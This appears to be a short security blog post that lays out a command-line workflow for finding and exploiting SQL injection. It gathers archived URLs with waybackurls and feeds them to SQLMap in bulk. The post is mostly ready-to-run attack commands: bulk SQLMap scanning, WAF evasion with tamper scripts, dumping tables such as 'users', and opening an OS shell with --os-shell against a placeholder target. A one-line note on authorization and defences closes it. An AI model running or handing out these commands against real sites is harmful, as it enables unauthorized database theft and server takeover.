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SQL injection remains one of the most critical vulnerabilities in web applications. Leveraging Wayback Machine URLs and SQLMap, penetration testers can automate the discovery and exploitation of SQLi flaws. Below is an efficient method to extract potential injection points and test them using SQLMap.
Extracting Potential SQL Injection Targets
The following command chain filters archived URLs (waybackurls), identifies dynamic pages (PHP/ASP), and prepares them for SQLMap:
waybackurls target.com | grep -E '\bhttps?://\S+?=\S+' | grep -E '.php|.asp' | sort -u | sed 's/(=[^&])/=/g' | tee urls.txt | sort -u -o urls.txt
Automated SQL Injection Testing with SQLMap
Once `urls.txt` is generated, SQLMap can test each URL for vulnerabilities:
cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"
– --technique=T: Time-based blind SQL injection.
– --batch: Non-interactive mode (auto-selects defaults).
You Should Know:
1. Refining Target URLs
- Use `grep -i “id\|user\|cat” urls.txt` to prioritize parameters like
id=,user=, orcat=. - Example:
grep -i "id=" urls.txt | xargs -I{} sqlmap --risk=3 --level=5 -u "{}"
2. Bypassing WAFs
- Use tamper scripts (
--tamper=space2comment) to evade filters. - Example:
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment --random-agent
3. Dumping Database Contents
- Extract table names:
sqlmap -u "http://target.com/page.php?id=1" --tables
- Dump specific tables:
sqlmap -u "http://target.com/page.php?id=1" --dump -T users
4. Linux Commands for Recon
- Combine with `ffuf` for fuzzing:
ffuf -w urls.txt -u FUZZ -mc 200
- Check live hosts:
cat urls.txt | httpx -status-code -title
5. Windows Equivalent (PowerShell)
- Fetch URLs:
Invoke-WebRequest "http://target.com" | Select-String -Pattern "id="
- Test with SQLMap via WSL:
wsl sqlmap -u "http://target.com/page.php?id=1" --os-shell
What Undercode Say
Automating SQL injection testing with `waybackurls` and SQLMap significantly speeds up vulnerability discovery. However:
– Legal Considerations: Always obtain authorization before testing.
– False Positives: Manually verify SQLMap findings.
– Defensive Measures: Use parameterized queries, WAFs, and input validation to protect applications.
For further reading:
Expected Output:
A list of vulnerable URLs and extracted database contents, formatted for reporting.
(Note: Removed non-IT content and expanded with practical commands.)
References:
Reported By: Zlatanh Sqlmap – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
